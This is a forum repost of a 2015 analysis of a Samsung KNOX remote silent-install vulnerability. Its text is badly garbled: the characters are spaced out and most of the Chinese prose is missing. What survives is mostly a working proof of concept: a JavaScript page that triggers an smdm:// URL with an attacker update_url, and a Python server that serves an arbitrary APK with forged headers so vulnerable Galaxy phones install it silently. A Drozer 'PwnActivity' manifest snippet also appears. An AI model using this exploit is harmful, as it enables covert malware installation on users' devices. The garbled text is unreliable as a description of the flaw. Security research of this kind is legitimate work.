[8558] 2015-01-05_三星KNOX远程静默安装漏洞深入分析报告

文档创建者:s7ckTeam
浏览次数:36
最后更新:2025-01-17
2015-01-05_三星KNOX远程静默安装漏洞深入分析报告 K N O X F r e e B u f   2 0 1 5 - 0 1 - 0 5 1 1 , G a l a x y   S 5 , S 4 , S 4   m i n i , N o t e   4 , N o t e 3 A c e   4 k n o x 线 线 G a l a x y S 5   N o t e   4 , , :   h t t p : / / v . y o u k u . c o m / v _ s h o w / i d _ X O D Y 0 M j A 3 N z Q 4 . h t m l   U n i v e r s a l M D M C l i e n t   s a m s u n g   K N O X   使 s c h e m e s m d m s c h e m e a n d r o i d a n d r o i d 9 0 % 使 a p p s m d m a d b   p u l l   / s y s t e m / a p p / U n i v e r s a l M D M C l i e n t . a p k   / h o m e / X X X / D e s k t o p / ( r o o t ) A n d r o i d M a n i f e s t . x m l a c t i v i t y a c t i v i t y i n t e n t - f i l t e r s c h e m e : s m d m c a t e g o r y a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E s m d m u r l a c t i v i t y a c t i v i t y a c t i v i t y o n C r e a t e ( )
V V p u b l i c   s t a t i c   S t r i n g   v ( C o n t e x t   a r g 3 )   { r e t u r n a r g 3 . g e t S h a r e d P r e f e r e n c e s ( " P r e E T a g " , 0 ) . g e t S t r i n g ( " P r e E T a g " ,   n u l l ) ;         } s h a r e d P r e f e r e n c e ( / d a t a / d a t a / c o m . s e c . e n t e r p r i s e . k n o x . c l o u d m d m . s m d m s / s h a r e d _ p r e f s / ) P r e E T a g . x m l P r e E t a g o n C r e a t e ( ) P r e E t a g f i n i s h ( ) P r e E T a g . x m l i n t e n t i n t e n t i n t e n t - f i l t e r s c h e m e s m d m : / / I n t e n t s e g _ u r l ,   u p d a t e _ u r l ,   e m a i l ,   m d m _ t o k e n , p r o g r a m q u i c k s t a r t _ u r l s e g _ u r l p r o g r a m L a u n c h A c t i v i t y . a ( t h i s . g e t A p p l i c a t i o n C o n t e x t ( ) , v 1 ,   v 2 ,   v 3 ,   v 4 ,   v 5 ,   v 6 ,   v 7 ) ; a
i n t e n t s h a r e d p r e f e r e n c e L a u n c h P a r a m e t e r s . x m l C u r r e n t   P r o g r a m L a u n c h   P r o g r a m C u r r e n t   P r o g r a m n u l l C u r r e n t   P r o g r a m L a u n c h   P r o g r a m a c t i v i t y C l o u d M d m E n r o l l m e n t A c t i v i t y a c t i v i t y m d m t h i s . w Y . s e t C a n c e l a b l e ( f a l s e ) ; C o r e . f l ( ) . f q ( ) C o r e . p h . a ( n e w   C o r e $ 1 ( t h i s ) ) ; s h a r e d p r e f e r e n c e m . x m l / l a t e s t m . x m l i n t e n t u d p d a t e _ u r l t h i s . h ( a . q X ,   " u m c . a p k " ) ;
U R L H E A D   H T T P a $ 1
o n S u c c e s s ( ) h e a d e r E T a g C o n t e n t - L e n g t h x - a m z - m e t a - a p k - v e r s i o n h e a d e r x - a m z - m e t a - a p k - v e r s i o n U n i v e r s a l M D M A p p l i c a t i o n   A P K h e a d e r x - a m z - m e t a - a p k - v e r s i o n A P K v 0 1 g e t a p k c o m . s e c . e n t e r p r i s e . k n o x . c l o u d m d m . s m d m s . i n s t a l l . a o n S u c c e s s ( ) f X ( ) f Y ( ) . j e b f X f Y 线 线 i n s t a l l A p k ( ) i n s t a l l A p k ( ) _ i n s t a l l A p p l i c a t i o n ( ) _ i n s t a l l A p p l i c a t i o n ( )   ( G o o g l e A P K ) A P K A P K G a l a x y   S 4   G T - 9 5 0 8 a n d r o i d   4 . 4 . 2 p o c
p y t h o n s e r v e r a p k 访 u r l s c h e m e ( s m d m : / / m e o w ? u p d a t e _ u r l = h t t p : / / y o u s e r v e r ) P o c :   < s c r i p t > f u n c t i o n   t r i g g e r ( ) { d o c u m e n t . l o c a t i o n = " s m d m : / / m e o w ? u p d a t e _ u r l = h t t p : / / y o u r s e r v e r / " ;     } s e t T i m e o u t ( t r i g g e r ,   5 0 0 0 ) ; < / s c r i p t > P y t h o n P O C i m p o r t   h a s h l i b f r o m B a s e H T T P S e r v e r   i m p o r t B a s e H T T P R e q u e s t H a n d l e r A P K _ F I L E   =   " t o u t i a o . a p k " A P K _ D A T A   = o p e n ( A P K _ F I L E , " r b " ) . r e a d ( ) A P K _ S I Z E   =   s t r ( l e n ( A P K _ D A T A ) ) A P K _ H A S H   = h a s h l i b . m d 5 ( A P K _ D A T A ) . h e x d i g e s t ( ) p o c   = ' ' ' < s c r i p t > v a r l o c   = w i n d o w . l o c a t i o n . h r e f . r e p l a c e ( / [ / . ] $ / g ,   ' ' ) ; a l e r t ( ' s m d m : / / p o c ? u p d a t e _ u r l = ' + e n c o d e U R I C o m p o n e n t ( l o c ) + ' / t e s t . a p k ' ) t o p . l o c a t i o n   = ' s m d m : / / p o c ? u p d a t e _ u r l = ' + e n c o d e U R I C o m p o n e n t ( l o c ) + ' / t e s t . a p k ' ; < / s c r i p t > ' ' ' c l a s s M y H a n d l e r ( B a s e H T T P R e q u e s t H a n d l e r ) : d e f d o _ G E T ( s e l f ) : i f s e l f . p a t h . f i n d ( ' l a t e s t ' )   > 0 : s e l f . s e n d _ r e s p o n s e ( 2 0 0 ) s e l f . s e n d _ h e a d e r ( " C o n t e n t - L e n g t h " , A P K _ S I Z E ) s e l f . s e n d _ h e a d e r ( " E T a g " , A P K _ H A S H ) s e l f . s e n d _ h e a d e r ( " x - a m z - m e t a - a p k - v e r s i o n " , " 1 3 3 7 " ) s e l f . e n d _ h e a d e r s ( ) s e l f . w f i l e . w r i t e ( A P K _ D A T A ) e l s e : s e l f . s e n d _ r e s p o n s e ( 2 0 0 , ' O K ' ) s e l f . s e n d _ h e a d e r ( ' C o n t e n t - t y p e ' ,   ' h t m l ' ) s e l f . e n d _ h e a d e r s ( ) s e l f . w f i l e . w r i t e ( p o c ) r e t u r n d e f d o _ H E A D ( s e l f ) : s e l f . s e n d _ r e s p o n s e ( 2 0 0 ) s e l f . s e n d _ h e a d e r ( " C o n t e n t - L e n g t h " , A P K _ S I Z E ) s e l f . s e n d _ h e a d e r ( " E T a g " , A P K _ H A S H ) s e l f . s e n d _ h e a d e r ( " x - a m z - m e t a - a p k - v e r s i o n " , " 1 3 3 7 " ) s e l f . e n d _ h e a d e r s ( ) r e t u r n i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : f r o m B a s e H T T P S e r v e r   i m p o r t   H T T P S e r v e r s e r v e r   =   H T T P S e r v e r ( ( ' 0 . 0 . 0 . 0 ' , 8 0 8 0 ) , M y H a n d l e r ) s e r v e r . s e r v e _ f o r e v e r ( ) I n t e n t S c h e m e U R I 1 . I n t e n t . p a r s e U r i u r i i n t e n t 2 . i n t e n t 3 . C o n t e x t . s t a r t A c t i v i t y I f N e e d e d C o n t e x t . s t a r t A c t i v i t y i n t e n t M e t a s p l o i t 3 6 0 ( a p p s c a n . 3 6 0 . c n ) A P P
A P P D r o z e r < a c t i v i t y                       a n d r o i d : n a m e = " c o m . m w r . d z . P w n A c t i v i t y " >                       < i n t e n t - f i l t e r >                               < a c t i o n a n d r o i d : n a m e = " a n d r o i d . i n t e n t . a c t i o n . V I E W "   / >                                 < c a t e g o r y a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . D E F A U L T "   / >                                 < c a t e g o r y a n d r o i d : n a m e = " a n d r o i d . i n t e n t . c a t e g o r y . B R O W S A B L E "   / >                                 < d a t a   a n d r o i d : s c h e m e = " p w n "   / >                         < / i n t e n t - f i l t e r >               < / a c t i v i t y > A P K m a i n f e s t P W N p w n : / / r o o t s m d m : / / p a t c h / U R L 使 使 U M C ( U n i v e r s a l   M D M C l i e n t ) h t t p : / / u m c - c d n . s e c b 2 b . c o m : 8 0 U n i v e r s a l M D M C l i e n t . a p k h t t p : / / w e i b o . c o m / p / 1 0 0 1 6 0 3 7 9 5 3 0 7 5 2 2 6 0 7 2 4 8 [ / 0 x r 0 o t @ 3 6 0 3 6 0 F r e e B u f F r e e B u f . C O M ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则